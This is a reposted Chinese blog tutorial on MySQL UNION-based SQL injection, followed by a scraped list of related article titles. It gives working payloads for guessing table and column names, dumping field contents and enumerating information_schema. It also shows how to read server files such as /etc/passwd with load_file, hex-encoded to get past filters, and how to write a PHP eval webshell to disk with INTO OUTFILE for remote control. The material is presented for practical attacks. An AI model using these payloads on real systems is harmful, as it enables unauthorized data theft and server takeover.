原文地址:http://blog.csdn.net/emaste_r/article/details/8156108

出现的关键名词有: UNION  SELECT   load_file   hex

为了方便说明我们先创建两个表:hehe和heihei,很明显它们一个拥有2列属性,一个拥有3列属性

==========================================================================================

一. UNION 的原理

UNION 需要两个被select的集合拥有相同的列数。一开始我并不是很理解这个相同是什么,然后我做了个实验:
这个错误提示很明显了:ERROR 1222 (21000): The used SELECT statements have a different number of columns
因为它们select出来的结果集的列数不一致,这对一个操作并集合的union来说是不可操作的,所以就报错了。
那么是不是只要保证两个结果集的列数相同就好了呢,我们继续做实验,
这个结果也是很明显:OK !!!
总结:union连结的两个结果集的列数要相等!

那么我们是怎么利用UNION搞注入呢?
(1)猜解表名,只有猜解对了表名才能继续深入。用这句:
[sql] view plaincopy
  1. select * from hehe where id = 3 and exists(select * from admin);
exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。结果当然是不存在啦:
如果表名存在就返回结果集:
总结:在实战中我们可以用exsits()猜解表名
(2)用UNION猜解列数(- - 终于用到了UNION)
原理是:利用两边结果集必须相等列数!
[sql] view plaincopy
  1. select * from hehe where id =3 and 1=1 union select 1,2,3;
如图,第一次我们猜测两列(1,2)失败了,第二次我们猜测三列(1,2,3)成功了。
总结:我们用and union select 1,2,3,4,5,6...;来猜解列数,只有列数相等了,才能返回True!
(3)猜解列名
用猜解表名的方法:
[sql] view plaincopy
  1. select * from hehe where id=3 and exists(select name from hehe);


如图,第一次我们猜解有个列名为name1,报错了,第二次我们猜解列名为name,返回正常,说明真的有个列名为name!

总结:用 select * from hehe where id=3 and exists(select name from hehe);来猜解列名!
(4)猜解字段内容
这个通过步骤三我们已经猜解出列名:name和id了。那么怎么让它们暴出内容呢?
用:
[sql] view plaincopy
  1. select * from hehe where id=3 and 1=2  union select 0,0,name from hehe;

总结:知道列名后,把列名至于其中任意位置,就能在那个位置暴出列的内容来。实战中不是每一个列的内容都显示在web page上的,所以有的人就先用:
[sql] view plaincopy
  1. unoin select 1,2,3,4,5,6,7 from hehe;

之类的语句,看看web page上出现的数字为几就把列名填写在第几个列上,如:web page上暴出5,那么我们就把SQL语句改成:

[sql] view plaincopy
  1. unoin select 1,2,3,4,name,6,7 from hehe;

然后就能暴出来name的内容啦。。

二.load_file()和UNION 读取服务器文件内容

函数 LOAD_FILE(file_name):读取文件并将这一文件按照字符串的格式返回。 
文件的位置必须在服务器上 , 你必须为文件制定路径全名,而且你还必须拥有 FILE 特许权。
文件必须可读取,文件容量必须小于 max_allowed_packet 字节。
若文件不存在,或因不满足上述条件而不能被读取, 则函数返回值为 NULL。
这个load_file()看起来很正常,因为它就是加载一个绝对路径文件(先保证有读权限)。可是神奇的是:
它可以在UNOIN中充当一个字段,能够来读取服务器的文件。
在我的服务器上有个文件:"d:/test.txt",里面内容是:"key:HelloWorld.",看我用load_file把他读取出来:
[sql] view plaincopy
  1. select * from hehe where id=3 and 1=2 union select 0,load_file("d:/test.txt"),count(*) from mysql.user;
总结:“A语句 UNION B语句” 中的这个UNION就是把最终的结果集放到“A语句"的属性(列)下。上图上结果是把0,放到列1下,把load_file("d:/tes.txt")的内容放到列2下,把count(*)返回的结果放到列3下。很科学地达到了我们读取服务器文件的目的。

Ps:上面的 1=2 看到了吗?是让”A语句“查询结果为空,看着舒服。
Ps:这个load_file()用在MySQL中
load_file的过滤
实战中URL写成load_file("/etc/passwd")一般会被过滤,所以不科学,不过我们可以用16进制来表示(hex)就好啦:
打开UltraEdit,然后把 /etc/passwd 放到里面,然后右键有个16进制编辑,然后就看到了16进制了:0x2F6574632F706173737764,知道为什么要加这个“0x”吗?因为它是16进制。。。
Ps:经验哦~如果过滤了空格就用“+”表示

三 用select  into   outfile 把一句话木马写进文件

[sql] view plaincopy
  1. select '<?php eval($_POST[cmd])?>'  into outfile 'c://aa.php';
然后我们将会看到:
里面有一句话木马: <?php   eval($_POST[cmd]) ?> 然后就能用菜刀去连接了。(什么不知道什么叫做一句话木马?什么叫做菜刀?赶紧去google吧)
总结:获得数据库权限真的是一件好事啊~~

四.用系统函数+UNOIN暴出数据库的信息(如果web不禁用,极其高效!)

information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的数据库
[sql] view plaincopy
  1. select * from hehe where id=3 and 1=2  union select 0,0,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2;


information_schema.TABLES 表中的TABLE_NAME和TABLE_SCHEMA查看所有的表名和所在的数据库:
[sql] view plaincopy
  1. select TABLE_NAME ,TABLE_SCHEMA from information_schema.TABLES where TABLE_SCHEMA = "haha"


information_schema.COLUMNS 表中的 COLUMN_NAME 查看表中的所有列名:
[sql] view plaincopy
  1. select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= "hehe"l



version() 版本(看第一列)
database() 当前数据库名字(看第一列)
user() 当前用户(看第一列)
@@global.version_compile_os  操作系统(看第一列):
and ord(mid(user(),1,1))=144查看数据库权限(注意144就是字符”r“,也就是”root“的第一个字符):

Ps:有更好的unoin select user(),2,3 ;不用? 不是的,因为实战中有的web不准用。用这个就可以来查看数据库权限啦~
Ps:ord(),若字符串str 的最左字符是一个多字节字符,则返回该字符的代码。(多字节。。有意思。。)
总结:这个information_schema数据库是个特别强大的数据库,里面包含的表很多,有SCHEMATAS(数据库信息),TABLES(表信息),COLUMNS(列信息)等等。。。



黑客攻防之SQL注入原理解析入门教程相关推荐

  1. SQL注入之sqlmap入门教程

    目录 一.判断是否存在注入点 二.查询当前用户下所有数据库 三.获取数据库中的表名 四.获取表中的字段名 五.获取字段内容 六.获取数据库的所有用户 七.获取数据库用户的密码 八.获取当前网站数据库的 ...

  2. SQL注入原理与解决方法

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

  3. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  4. Web网络安全漏洞分析,SQL注入原理详解

    本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪 一.SQL注入的基础 1.1 介绍SQL注入 SQL注入就是 ...

  5. SQL注入原理-布尔盲注

    小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...

  6. SQL注入原理以及预防措施

    1.SQL注入原理 就是通过利用一些查询语句的漏洞,将SQL语句传递到服务器解析并执行的一种攻击手段.SQL注入是一种注入攻击,可以执行恶意SQL语句.它通过将任意SQL代码插入数据库查询,使攻击者能 ...

  7. SQL注入原理及预防SQL注入的方法

    网络安全成为了现在互联网的焦点,这也恰恰触动了每一位用户的神经,担心网上的信息以及个人隐私遭到泄露.下面要为大家介绍的是SQL注入,对于sql注入,相信程序员都知道或者使用过,如果没有了解或完全没有听 ...

  8. sql注入原理及防范方式

    前言 sql注入是一种危险系数较高的攻击方式,现在由于我们持久层框架越来越多,大部分框架会处理这个问题,因此导致我们对它的关注度越来越少了.最近部门在整理安全漏洞时,提到了一些关于sql注入的修改点, ...

  9. 安全架构-SQL注入原理及防范

    安全架构系列文章 SQL注入原理及防范 文章目录 安全架构系列文章 前言 一.sql注入是什么? 二.防范方法 1.Java处理 2 .NET处理 总结 前言 一.sql注入是什么? SQL注入是通过 ...

  10. SQL注入原理及如何判断闭合符

    一.SQL注入原理: 造成SQL注入的原因: 在没有对用户的输入进行过滤.检测的情况下,就把用户输入数据,带入到数据库中执行SQL语句. 利用SQL注入: 由于系统没有对输入的数据进行过滤.检测,就带 ...

最新文章

  1. 算法 求两个自然数的最大公约数 C++
  2. 来阿里前 vs 来阿里后
  3. 整理:各个浏览器及web服务器对URL(get)长度的限制
  4. 【控制】《复杂运动体系统的分布式协同控制与优化》-方浩老师-第2章-基于速度估计的多欧拉-拉格朗日系统分布式控制
  5. 详解java方法与递归
  6. MFC启动和关闭线程
  7. Nodejs-增删改查-案列方法
  8. linux共享内存 pmu,如何使用gator/streamline 收集PMU perf event计数
  9. torchtext 各种数据集加载
  10. 安卓使用html文件遍历,安卓手机中使用html的input file,获取不到文件类型和文件名...
  11. C标准库stdio源码分析
  12. python utf 8 mac_Mac python 开发环境一些设置
  13. 计算机个性化桌面后总是恢复,Win7切换主题导致个性化桌面图标失效恢复初始的解决方法...
  14. 反转一个英语句子c++
  15. 数据可视化之大数据平台可视化
  16. Cocos2D开发的iPhone游戏的教程
  17. 滴滴程序员被亲戚鄙视:年薪八十万不如二本教书的……
  18. 随笔目录【2016年12月1日整理中~】
  19. MATLAB 自带 神经网络工具包
  20. 2021年A特种设备相关管理(锅炉压力容器压力管道)证考试及A特种设备相关管理(锅炉压力容器压力管道)复审模拟考试

热门文章

  1. 华为手机热点无法连接_为什么华为手机开热点别的手机连不上?
  2. python开发微信扫码支付
  3. 如何自己搭建测试环境
  4. C语言为内存分配空间(代码段、数据段、bss段、存储类、变量的生命周期)
  5. 用yolov5训练kitti数据集
  6. SQL server中表数据自动生成拼音码
  7. matlab中indo是什么意思,Matlab软件电力系统仿真应用简介
  8. iOS 录音及播放 音波图波形
  9. python制作简单动画_如何使用python制作简单的动画?
  10. arcgis python 百度网盘 视频_arcgis软件零基础入门视频教程27讲百度网盘链接